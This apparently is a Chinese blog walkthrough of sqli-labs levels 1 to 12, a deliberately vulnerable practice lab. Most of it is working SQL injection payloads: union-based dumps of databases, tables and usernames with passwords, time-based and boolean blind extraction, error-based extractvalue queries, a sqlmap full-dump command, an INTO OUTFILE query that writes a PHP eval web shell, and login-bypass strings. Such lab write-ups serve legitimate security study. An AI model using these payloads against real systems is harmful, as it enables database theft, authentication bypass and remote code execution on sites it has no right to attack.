Perface

下定决心认真过一遍SQL注入

sqli-labs 基础篇

SQL注入基础篇 :

33%

完成时间 :

296%

首先说明下,这种题目没有flag,那我们要怎么验证自己通关过题
即 : 输出所有用户和密码

Less-1 / Get单引号注入


第一关:

http://192.168.1.87:8082/Less-1/index.php?id=1
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

显示出所有数据库
解释下这个语句:
首先id=1‘ and 1=2 这个语句是为了让前面的语句不生效从而执行后面的语句,简单的来说直接使用id=-1 也可以有一样的效果,union后面的查询语句就是对数据库information_schma的查询,这里就不赘述了。

隐藏的真实语句是

select * from users where id='1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+' Limit 0,1

输出了所有数据库,接下来查看具体的库

http://192.168.1.87:8082/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+


输出了所有库,接下来输出表

http://192.168.1.87:8082/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+


接下来就简单了,输出username和password

http://192.168.1.87:8082/Less-1/index.php?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

less-2 / 数字型报错

输入and 1=2 报错,然后剩下步骤和less-01一样

Less-3 / 单引号+括号过滤

http://192.168.1.87:8082/Less-3/index.php?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

Less-4 / 双引号过滤

http://192.168.1.87:8082/Less-4/index.php?id=-1")  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

Less-5 / 双注入GET单引号字符型注入

输入id=1,发现没有回显,可以判断为布尔型盲注,报错型注入、时间延迟型盲注
人身苦短,这种重复性的工作应该交给工具-sqlmap,但是这里还是尝试手注学习下
验证时间延迟型盲注:

http://192.168.1.87:8082/Less-5/index.php?id=1'  and sleep(5) --+

发现明显延迟,证明猜测正确,接下来就通过延迟来依次爆破数据库长度,数据库名,表名,列名与字段

方法1:时间延迟型手工注入

判断方式: 正确会延迟,错误没有延迟,id无所谓,回显无所谓,不过正确的回显有助于判断
爆库长payload,需要从1开始一个个试,只要出现延迟,就可以确定长度
http://192.168.1.87:8082/Less-5/index.php?id=1'  and if (length(database()) = 8,sleep(5),1) --+

出现延迟后,可以确定数据库名长度

http://192.168.1.87:8082/Less-5/index.php?id=1'  and if (left(database(),1)='s',sleep(5),1) --+

爆表名

http://192.168.1.87:8082/Less-5/index.php?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='u' ,sleep(5),1)--+

之后在limit 3,1爆破出users表名
爆列名:

http://192.168.1.87:8082/Less-5/index.php?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(5),1)--+

修改limits x,1的中的x来查询是否存在表中
爆破值:

http://192.168.1.87:8082/Less-5/index.php?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

方法2:布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显
手工注入使用left((select database()),1) < 't' 这样的方法来爆破
爆库:

http://192.168.1.87:8082/Less-5/index.php?id=1' and left((select database()),1)='s'--+

出现回显证明存在

剩下就和第一种方式一样了,判断方式不同
下面展示下爆表:

http://192.168.1.87:8082/Less-5/index.php?id=1?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

方法3:使用concat聚合函数

使用聚合函数进行双注入查询,会在错误信息中显示一部分错误信息
比如count函数后面如果使用分组语句,会把查询的一部分用错误形式显示

payload在concat()构造
爆库:

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//注意本本方法具有随机性,原理待研究

Less-6 / 双注入GET双引号字符型注入

这题和上题一样,区别是单引号变成双引号
这里使用下sqlmp

sqlmap -u "http://192.168.1.87:8082/Less-6/index.php?id=-1" -D security -T users --dump-all

用sqlmap跑出来很快

Less-7 / 导出文件GET字符型注入

简单尝试,发现注释符被过滤了
所以用文件导入
但是文件导入最大的难题在于不知道文件路径
无法传shell,所以第一步需要确定网站文件路径,这里不浪费时间,投机取巧直接从less02确定路径

http://192.168.1.87:8082/Less-2/index.php?id=-1 union select 1,@@basedir,@@datadir --+


winserver的iis默认路径c:Inetpubwwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy 就是...PhpStudy20180211PHPTutorialWWW\
xammp 就是...xampphtdocs

这里我们看见了var和usr
进系统看了下文件目录在/var/www/html

实验发现无法注入:
无论怎么输入,都是无法导出文件的。这是由于没有导入导出的权限,原因是由参数secure_file_priv决定的。
这是MySQL的一个特性,secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。其中:
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制

因此我们修改一下MySQL下的my.ini配置文件即可。在文件中加入:secure_file_priv=" "
重启数据库就可以上传成功

http://192.168.1.87:8082/Less-7/index.php?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "\/var\/www\/html\/Less-7\/tt.php"--+

用sqlmap跑了下,出现了延时注入,下面把payload放到下面

http://192.168.1.87:8082/Less-7/index.php?id=1') AND (SELECT 2077 FROM (SELECT(SLEEP(5)))lxDR) AND ('eKOm'='eKOm

Less-8 / 布尔型单引号GET盲注

首先在id=1后面加单引号,发现无回显,存在漏洞
然后构造进一步确认

http://192.168.1.87:8082/Less-8/index.php?id=1' union select 1,2,3 order by 3--+

布尔型盲注,和less5一样,根据回显判断
可以通过><二分法来比较字符大小加速爆破

http://192.168.1.87:8082/Less-8/index.php?id=1' and left((select database()),1) = 's' --+

剩下的和Less5一样,手工注入方法相同,不再赘述。

Less-9 / 基于时间的GET单引号注入

http://192.168.1.87:8082/Less-9/index.php?id=1'  and sleep(5) --+

直接延时了,不说了。
less5写的很详细了

Less-10 / 基于时间双引号注入

http://192.168.1.87:8082/Less-10/index.php?id=1" and sleep(5) --+

和less9一样,单引号改成双引号即可

11-20全部为POST注入,查看源信息找到注入格式:
uname=dumb&passwd=dumb&submit=Submit
然后再使用hackbar进行post注入

Less-11

在登录名后加',报错,存在注入
之后的操作就和上面一样了

首先试验column数量

uname=-dumb' union select 1,2 &passwd=dumb&submit=Submit

uname=-dumb' union select 1,2,3 &passwd=dumb&submit=Submit

此时报错,说明只存在两列

方法一:联合查询注入检测

uname=-dumb' union select 1,group_concat(schema_name) from information_schema.schemata --+ &passwd=dumb&submit=Submit

说明注入成功,存在报错注入,接下来就是重复性工作,不再赘述

方法二:extractvalue测试payload

i>介绍下extractvalue这个函数:
extractvalue():对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。所以这里我们使用database(),对于xml这是非法文档,回报错回显

爆库:

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit


爆表:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

爆列:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

爆值:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

Less-12 / 基于错误的双引号POST型字符型变形注入

开始以为和上题一样,单引号变双引号应该就可以了

但是实际测试无论如果都不会回显,总是报错,后面使用--+或者%23或者#都不行
查看了下php文件:查询语句如下

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
## 方法一:

构造一个能闭合且回报错的payload:
admin" and extractvalue(1,concat(0x7e,(select database()))) and "

最终admin = "admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

传进去就变成了:

@$sql="SELECT username, password FROM users WHERE username="admin"  and extractvalue(1,concat(0x7e,(select database())))  and " " and password=($passwd) LIMIT 0,1";

前闭合,中间查询,后面报错,实际测试没问题,可以回显,接下来就在concat()构造查询语句

爆库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit

剩下的和上题一致

方法二:联合查询

uname=0") union select 1,database() --+ &passwd=admin&submit=Submit

和less-11一样

方法3:万能密码

输入双引号的时候报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

可以看出在输入的地方加了双引号和括号

构造万能密码:admin:)#

登陆成功

最后修改:2022 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏